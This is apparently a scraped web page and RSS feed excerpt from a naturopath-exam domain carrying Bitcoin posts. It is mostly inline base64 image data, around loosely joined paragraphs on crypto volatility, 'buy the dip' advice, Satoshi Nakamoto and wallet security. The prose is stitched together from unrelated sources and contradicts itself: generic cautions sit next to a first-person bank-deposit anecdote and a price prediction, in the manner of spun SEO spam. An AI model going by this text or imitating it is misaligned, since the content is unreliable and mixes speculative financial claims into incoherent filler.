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" width="306px%" alt="to buy bitcoin or not"/><br />
Digital currencies, such as Bitcoin, are highly volatile and not backed by any central bank or government. Digital currencies lack many of the regulations and consumer protections that legal-tender currencies and regulated securities have. Due to the high level of risk, investors should view Bitcoin as a purely speculative instrument. Immediately, popular crypto influencers like Carl Runefelt started encouraging followers to &#8222;buy the dip,&#8220; or take advantage of the price drop to score cryptocurrency before it goes back up. &#8222;Too many people are buying #bitcoin and #altcoins on leverage which is causing these mini crashes,&#8220; Twitter user @KryptoCop wrote on Twitter.</p>
<p>While Bitcoin buyers will hold on for dear life and possibly sell once there’s some profit in the interest of not losing money, trading Bitcoin is an altogether different thing. There’s a big difference between buying and holding on to Bitcoins and trading Bitcoins. For many, it is just a case of buying and holding on to Bitcoins in the hope that values will continue to rise. Thanks to Satoshi, there are now a plethora of cryptocurrencies, but Bitcoin continues to be considered the master, despite the recent offshoots that have created Bitcoin Gold and Bitcoin Cash. Bitcoin came into existence in 2009 and was created by software developer Satoshi Nakamoto. Satoshi’s vision was to create an electronic payment system that was completely independent of central banks and governments. Instead, I&#8217;m refreshing my bank account portal every 15 minutes because of that PayPal transaction. This new risk aversion to anything crypto-related is strange. I was instructed to deposit money into my account before I could buy, but after putting my routing and account number in the app stated my financial institution is not supported . I think that crypto will recover in the short term and continue climbing, perhaps even to the $100k level.</p>
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		<item>
		<title>Converter 1 Btc To Usd Bitcoin To Us Dollar</title>
		<link>https://heilpraktiker-pruefung.com/converter-1-btc-to-usd-bitcoin-to-us-dollar-3/</link>
					<comments>https://heilpraktiker-pruefung.com/converter-1-btc-to-usd-bitcoin-to-us-dollar-3/#respond</comments>
		
		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Fri, 31 Dec 2021 14:44:34 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=2369</guid>

					<description><![CDATA[The invention of the Bitcoin currency was simultaneous to the invention of Bitcoin as a blockchain, and it was the first of its kind in history. It was created in 2009 by an anonymous person or group of people, known pseudonymously as Satoshi Nakamoto. Bitcoin has a much more extensive track record compared to other [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The invention of the Bitcoin currency was simultaneous to the invention of Bitcoin as a blockchain, and it was the first of its kind in history. It was created in 2009 by an anonymous person or group of people, known pseudonymously as Satoshi Nakamoto. Bitcoin has a much more extensive track record compared to other cryptos, though it’s still in its relative infancy compared to the 200+ year history of the U.S. stock market. You only get one unique key to access your wallet, which means you need to be extra careful about not losing your key or having it stolen. Don’t share your private key with anyone, just like you wouldn’t share your Social Security number or your debit card PIN. Maintaining strong passwords that you update regularly and not using the same password for multiple accounts will make you less vulnerable to hacks and scams. It’s the original and most valuable cryptocurrency by far, despite its huge — and normal — swings in recent months, ranging in value from less than $30,000 to more than $60,000.</p>
<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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